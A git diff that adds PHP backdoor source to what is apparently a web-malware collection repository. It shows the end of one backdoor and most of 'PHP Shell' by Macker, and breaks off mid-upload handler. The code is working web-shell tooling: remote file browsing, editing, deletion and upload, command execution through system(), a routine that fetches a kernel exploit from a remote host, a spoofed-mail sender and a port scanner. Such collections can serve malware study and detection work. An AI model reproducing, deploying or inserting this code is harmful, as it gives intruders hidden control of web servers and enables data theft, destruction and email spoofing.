Has Ocurred While Copying Kernel Exploit</DIV>"; + } + } + +?> +</CENTER> +<pre><font face="Tahoma" size="2"> +<?php + +// Function to Visualize Source Code files +if ($see != "") { + $fp = fopen($see, "r"); + $read = fread($fp, 30000); + echo "============== $see ================<br>"; + echo "<textarea name=textarea cols=80 rows=15>"; + echo "$read"; + Echo "</textarea>"; +} + +// Function to Dowload Local Xploite Binary COde or Source Code + +if ($dx != "") { + $fp = @fopen("$hostxpl",r); + $fp2 = @fopen("$storage","w"); + fwrite($fp2, ""); + $fp1 = @fopen("$storage","a+"); + for (;;) { + $read = @fread($fp, 4096); + if (empty($read)) break; + $ok = fwrite($fp1, $read); + + if (empty($ok)) { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Uploading File</DIV>"; + break; + } + } + + if (!empty($ok)) { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File Was Successfuly Uploaded</DIV>"; + } +} + +flush( ); + +// Function to visulize Format Color Source Code PHP + +if ($sfc != "") { + $showcode = show_source("$sfc"); + echo "<font size=4> $showcode </font>"; +} + +// Function to Visualize all infomation files +if ($fileinfo != "") { + $infofile = stat("$fileanalize"); + while (list($info, $value) = each ($infofile)) { + echo" Info: $info Value: $value <br>"; + } +} + +// Function to send fake mail +if ($fake == 1) { + echo "<FORM METHOD=POST ACTION=\"$SCRIPT_NAME?$QUERY_STRING&send=1\">"; + echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>"; + echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>"; + echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>"; + echo "Text: <TEXTAREA NAME=\"body\" ROWS=\"\" COLS=\"\"></TEXTAREA><br>"; + echo "<INPUT TYPE=\"hidden\" NAME=\"send\" VALUE=\"1\"><br>"; + echo "<INPUT TYPE=\"submit\" VALUE=\"Send Fake Mail\">"; + echo "</FORM>"; +} + +if($send == 1) { + if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Mail Send Sucessfuly</DIV>"; + } else { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Sending Mail</DIV>"; + } +} + +if ($portscan != "") { + $port = array ("21","22","23","25","110",); + $values = count($port); + for ($cont=0; $cont < $values; $cont++) { + @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1); + $service = Getservbyport($port[$cont],"tcp"); + @$get = fgets($sock[$cont]); + echo "<br>Port: $port[$cont] - Service: $service<br><br>"; + echo "<br>Banner: $get <br><br>"; + flush(); + } +} + +?> +</font></pre> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/PHP Shell.txt b/web-malware-collection-master/Backdoors/PHP/PHP Shell.txt new file mode 100755 index 0000000..0b1f12b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PHP Shell.txt @@ -0,0 +1,1010 @@ +<?php + +/* +***************************************************************************************** +* PHPSHELL.PHP BY MACKER August 28th 2003 * +***************************************************************************************** +* * +* Welcome to Macker's PHPShell script... * +* This script will allow you to browse webservers etc... * +* Just copy the file to your directory and open it in your Internet Browser. * +* * +* The webserver should support PHP... * +* * +* You can modify the script if you want, but please send me a copy to: * +* DRAZZ01@HOTMAIL.COM * +***************************************************************************************** + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!! PLEASE NOTE: You should use this script at own risk, it should do damage to the !! +!! Sites or even the server... You are responsible for your own deeds. !! +!! The admin of your webserver should always know you are using this !! +!! script. !! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +*/ + + +/*Setting some envirionment variables...*/ + +/* I added this to ensure the script will run correctly... + Please enter the Script's filename in this variable. */ +$SFileName=$PHP_SELF; + +/* uncomment the two following variables if you want to use http + authentication. This will password protect your PHPShell */ +//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */ +//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */ + +error_reporting(0); +$PHPVer=phpversion(); +$isGoodver=(intval($PHPVer[0])>=4); +$scriptTitle = "PHPShell"; +$scriptident = "$scriptTitle by Macker"; + +$urlAdd = ""; +$formAdd = ""; + +function walkArray($array){ + while (list($key, $data) = each($array)) + if (is_array($data)) { walkArray($data); } + else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} +} + +if (isset($_PUT)) walkArray($_PUT); +if (isset($_GET)) walkArray($_GET); +if (isset($_POST)) walkArray($_POST); + + +$pos = strpos($urlAdd, "s=r"); +if (strval($pos) != "") { +$urlAdd= substr($urlAdd, 0, $pos); +} + +$urlAdd .= "&s=r&"; + +if (empty($Pmax)) + $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ +if (empty($Pidx)) + $Pidx = 0; + +$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); +$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + +$scriptdate = "August 28th 2003"; +$scriptver = "Version 2.6.6dev"; +$LOCAL_IMAGE_DIR = "img"; +$REMOTE_IMAGE_URL = "img"; +$img = array( + "Edit" => "edit.gif", + "Download" => "download.gif", + "Upload" => "upload.gif", + "Delete" => "delete.gif", + "View" => "view.gif", + "Rename" => "rename.gif", + "Move" => "move.gif", + "Copy" => "copy.gif", + "Execute" => "exec.gif" + ); + +while (list($id, $im)=each($img)) + if (file_exists("$LOCAL_IMAGE_DIR/$im")) + $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">"; + else + $img[$id] = "[$id]"; + + + + +/* HTTP AUTHENTICATION */ + + if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { + setcookie("noauth",""); + Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); + Header( "HTTP/1.0 401 Unauthorized"); + echo "Your username or password is incorrect"; + exit ; + + } + +function buildUrl($display, $url) { + global $urlAdd; + $url = $SFileName . "?$urlAdd$url"; + return "<a href=\"$url\">$display</a>"; +} + +function sp($mp) { + for ( $i = 0; $i < $mp; $i++ ) + $ret .= "&nbsp;"; + return $ret; +} + +function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); } + +function Mydeldir($Fdir) { + if (is_dir($Fdir)) { + $Fh=@opendir($Fdir); + while ($Fbuf = readdir($Fh)) + if (($Fbuf != ".") && ($Fbuf != "..")) + Mydeldir("$Fdir/$Fbuf"); + @closedir($Fh); + return rmdir($Fdir); + } else { + return unlink($Fdir); + } +} + + +function arrval ($array) { +list($key, $data) = $array; +return $data; +} + +function formatsize($insize) { + $size = $insize; + $add = "B"; + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "KB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "MB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "GB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "TB"; + } + return "$size $add"; +} + +if ($cmd != "downl") { + ?> + +<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> --> +<HTML> + <HEAD> + <STYLE> + <!-- + A{ text-decoration:none; color:navy; font-size: 12px } + body { font-size: 12px; + font-family: arial, helvetica; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: white; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: white; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: white; + scrollbar-arrow-color: black; + } + Table { font-size: 12px; } + TR{ font-size: 12px; } + TD{ font-size: 12px; + font-family: arial, helvetical; + BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + COLOR: black; + } + .border{ BORDER-LEFT: black 1px solid; + BORDER-RIGHT: black 1px solid; + BORDER-TOP: black 1px solid; + BORDER-BOTTOM: black 1px solid; + } + .none { BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + } + .inputtext { + background-color: #EFEFEF; + font-family: arial, helvetica; + border: 1px solid #000000; + height: 20; + } + .lighttd { background: #F8F8F8; + } + .darktd { background: #E8E8E8; + } + input { font-family: arial, helvetica; + } + .inputbutton { + background-color: silver; + border: 1px solid #000000; + border-width: 1px; + height: 20; + } + .inputtextarea { + background-color: #EFEFEF; + border: 1px solid #000000; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: #EFEFEF; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: #EFEFEF; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: #EFEFEF; + scrollbar-arrow-color: black; + } + .top { BORDER-TOP: black 1px solid; } + .textin { BORDER-LEFT: silver 1px solid; + BORDER-RIGHT: silver 1px solid; + BORDER-TOP: silver 1px solid; + BORDER-BOTTOM: silver 1px solid; + width: 99%; font-size: 12px; font-weight: bold; color: navy; + } + .notop { BORDER-TOP: black 0px solid; } + .bottom { BORDER-BOTTOM: black 1px solid; } + .nobottom { BORDER-BOTTOM: black 0px solid; } + .left { BORDER-LEFT: black 1px solid; } + .noleft { BORDER-LEFT: black 0px solid; } + .right { BORDER-RIGHT: black 1px solid; } + .noright { BORDER-RIGHT: black 0px solid; } + .silver{ BACKGROUND: silver; } + --> + </STYLE> + <TITLE><?php echo $SFileName ?></TITLE> + </HEAD> + <body topmargin="0" leftmargin="0"> + <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;"> + <table width=100% height="100%" NOWRAP border="0"> + <tr NOWRAP> + <td width="100%" NOWRAP> + <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center> + <strong> + <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> + </strong> + </center> + </td> + </tr> + </table><br> + + <?php +} + +if ( $cmd=="dir" ) { + $h=@opendir($dir); + if ($h == false) { + echo "<br><font color=\"red\">".sp(3)."\n\n\n\n + COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n + THE SCRIPT WILL RESULT IN AN ERROR!!! + <br><br>".sp(3)."\n + PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR... + <br><br></font>\n\n\n\n"; + } + if (function_exists('realpath')) { + $partdir = realpath($dir); + } + else { + $partdir = $dir; + } + if (strlen($partdir) >= 100) { + $partdir = substr($partdir, -100); + $pos = strpos($partdir, "/"); + if (strval($pos) != "") { + $partdir = "<-- ...".substr($partdir, $pos); + } + $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir ))); + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + } + ?> + <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir"> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center> + </td> + </tr> + </table> + <br> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td class="border nobottom noright"> + &nbsp;Browsing:&nbsp; + </td> + <td width="100%" class="border nobottom noleft"> + <table width="100%" border="0" cellpadding="1" cellspacing="0"> + <tr> + <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td> + <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td> + </tr> + </table> + + </td> + </tr> + </table> + <!-- </form> --> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" > + <tr> + <td width="100%" NOWRAP class="silver border"> + &nbsp;Filename&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Actions&nbsp;(Attempt to perform)&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Size&nbsp; + </td> + <td width=1 NOWRAP class="silver border noleft"> + &nbsp;Attributes&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Modification Date&nbsp; + </td> + <tr> + <?php + + + /* <!-- This whole heap of junk is the sorting section... */ + + $dirn = array(); + $filen = array(); + $filesizes = 0; + while ($buf = readdir($h)) { + if (is_dir("$dir/$buf")) + $dirn[] = $buf; + else + $filen[] = $buf; + } + $dirno = count($dirn) + 1; + $fileno = count($filen) + 1; + + function mycmp($a, $b){ + if ($a == $b) return 0; + return (strtolower($a) < strtolower($b)) ? -1 : 1; + } + + if (function_exists("usort")) { + usort($dirn, "mycmp"); + usort($filen, "mycmp"); + } + else { + sort ($dirn); + sort ($filen); + } + reset ($dirn); + reset ($filen); + if (function_exists('array_merge')) { + $filelist = array_merge ($dirn, $filen); + } + else { + $filelist = $dirn + $filen; + } + + + if ( count($filelist)-1 > $Pmax ) { + $from = $Pidx * $Pmax; + $to = ($Pidx + 1) * $Pmax-1; + if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 ) + $to = count($filelist) - 1; + if ($to > count($filelist)-1) + $to = count($filelist)-1; + $Dcontents = array(); + For ($Fi = $from; $Fi <= $to; $Fi++) { + $Dcontents[] = $filelist[$Fi]; + } + + } + else { + $Dcontents = $filelist; + } + + $tdcolors = array("lighttd", "darktd"); + + while (list ($key, $file) = each ($Dcontents)) { + if (!$tdcolor=arrval(each($tdcolors))) { + reset($tdcolors); + $tdcolor = arrval(each($tdcolors)); } + + if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */ + /* <!-- Dirname --> */ + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n"; + /* <!-- Rename --> */ + if ( ($file != ".") && ($file != "..") ) + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Delete --> */ + if ( ($file != ".") && ($file != "..") ) + echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- End of Actions --> */ + echo "&nbsp;&nbsp;</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n"; + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + echo "<strong>D</strong>"; + if ( @is_readable("$dir/$file") ) { + echo "<strong>R</strong>"; + } + if (function_exists('is_writeable')) { + if ( @is_writeable("$dir/$file") ) { + echo "<strong>W</stong>"; + } + } + else { + echo "<strong>(W)</stong>"; + } + if ( @is_executable("$dir/$file") ) { + echo "<Strong>X<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + + } + else { /* <!-- Then it must be a File... --> */ + /* <!-- Filename --> */ + if ( @is_readable("$dir/$file") ) + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; + else + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; + /* <!-- Rename --> */ + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Edit --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; + /* <!-- Copy --> */ + echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; + /* <!-- Move --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; + /* <!-- Delete --> */ + echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- Download --> */ + echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; + /* <!-- Execute --> */ + if ( @is_executable("$dir/$file") ) + echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; + /* <!-- End of Actions --> */ + echo sp(2)."</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; + $size = @filesize("$dir/$file"); + If ($size != false) { + $filesizes += $size; + echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>"; + } + else + echo "&nbsp;&nbsp;<strong>0 B<strong>"; + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + if ( @is_readable("$dir/$file") ) + echo "<strong>R</strong>"; + if ( @is_writeable("$dir/$file") ) + echo "<strong>W</stong>"; + if ( @is_executable("$dir/$file") ) + echo "<Strong>X<strong>"; + if (function_exists('is_uploaded_file')){ + if ( @is_uploaded_file("$dir/$file") ) + echo "<Strong>U<strong>"; + } + else { + echo "<Strong>(U)<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + } + } + + echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n"; + echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n"; + echo "</td><td NOWRAP class=\"silver border noleft\">\n"; + echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n"; + + function printpagelink($a, $b, $link = ""){ + if ($link != "") + echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>"; + else + echo "<b>| $a - $b |</b>"; + } + + if ( count($filelist)-1 > $Pmax ) { + echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>"; + $Fi = 0; + while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) { + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = ($Fi + 1) * $Pmax - 1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + echo "&nbsp;&nbsp;&nbsp;"; + $Fi++; + } + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = count($filelist)-1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + + echo "</center></td></tr></table></td></tr>"; + } + + + echo "</table>\n<br><table NOWRAP>"; + + if ($isGoodver) { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n"; + } + else { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n"; + } + /* <!-- Other Actions --> */ + echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n"; + echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n"; + echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n"; + echo "<table NOWRAP>"; + echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n"; + echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n"; + echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n"; + echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n"; + echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n"; + echo "</table></td>"; + echo "</table>"; + echo "<br>"; + @closedir($h); + } + elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/ + echo system("$file"); + } +elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */ + echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (Mydeldir($file)==false) { + echo "Could not remove \"$file\"<br>Permission denied, or directory not empty..."; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" and all it's subdirectories ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"deldir\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} + elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (@unlink($file)==false) { + echo "Could not remove \"$file\"<br>"; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"delfile\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} +elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */ + echo "<center><table><tr><td NOWRAP>"; + $i = 1; + while (file_exists("$lastdir/newfile$i.txt")) + $i++; + $file = fopen("$lastdir/newfile$i.txt", "w+"); + if ($file == false) + echo "Could not create the new file...<br>"; + else + echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>"; + echo " + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + </form></center> + </td></tr></table></center> "; + } +elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */ + echo "<center><table><tr><td NOWRAP>" ; + $i = 1; + while (is_dir("$lastdir/newdir$i")) + $i++; + $file = mkdir("$lastdir/newdir$i", 0777); + if ($file == false) + echo "Could not create the new directory...<br>"; + else + echo "Successfully created: \"$lastdir/newdir$i\"<br>"; + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"> + </form></center></td></tr></table></center>"; +} +elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */ + $contents = ""; + $fc = @file( $file ); + while ( @list( $ln, $line ) = each( $fc ) ) { + $contents .= htmlentities( $line ) ; + } + echo "<br><center><table><tr><td NOWRAP>"; + echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n"; + echo "<strong>EDIT FILE: </strong>$file<br>\n"; + echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n"; + echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n"; + echo "<input type=\"submit\" value=\"Save\">"; + echo "</form>"; + echo "</td></tr></table></center>"; +} +elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */ + $fo = fopen($file, "w"); + $wrret = fwrite($fo, stripslashes($contents)); + $clret = fclose($fo); +} +elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */ + $downloadfile = urldecode($file); + if (function_exists("basename")) + $downloadto = basename ($downloadfile); + else + $downloadto = "download.ext"; + if (!file_exists("$downloadfile")) + echo "The file does not exist"; + else { + $size = @filesize("$downloadfile"); + if ($size != false) { + $add="; size=$size"; + } + else { + $add=""; + } + header("Content-Type: application/download"); + header("Content-Disposition: attachment; filename=$downloadto$add"); + $fp=fopen("$downloadfile" ,"rb"); + fpassthru($fp); + flush(); + } +} +elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */ + ?> + <center> + <table> + <tr> + <td NOWRAP> + Welcome to the upload section... + Please note that the destination file will be + <br> overwritten if it already exists!!!<br><br> + <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post"> + <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776"> + <input type="hidden" name="cmd" value="uploadproc"> + <input type="hidden" name="dir" value="<?php echo $dir ?>"> + <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>"> + Select local file:<br> + <input size="75" name="userfile" type="file"><br> + <input type="submit" value="Send File"> + </form> + <br> + <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST"> + <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="dir" value="<?php echo $lastdir ?>"> + <input tabindex="0" type="submit" value="Cancel"> + </form> + </td> + </tr> + </table> + </center> + + <?php +} +elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ + echo "<center><table><tr><td NOWRAP>"; + if (file_exists($userfile)) + $res = copy($userfile, "$dir/$userfile_name"); + echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n"; + if ($res) { + echo "Successfully moved \"$userfile\" to 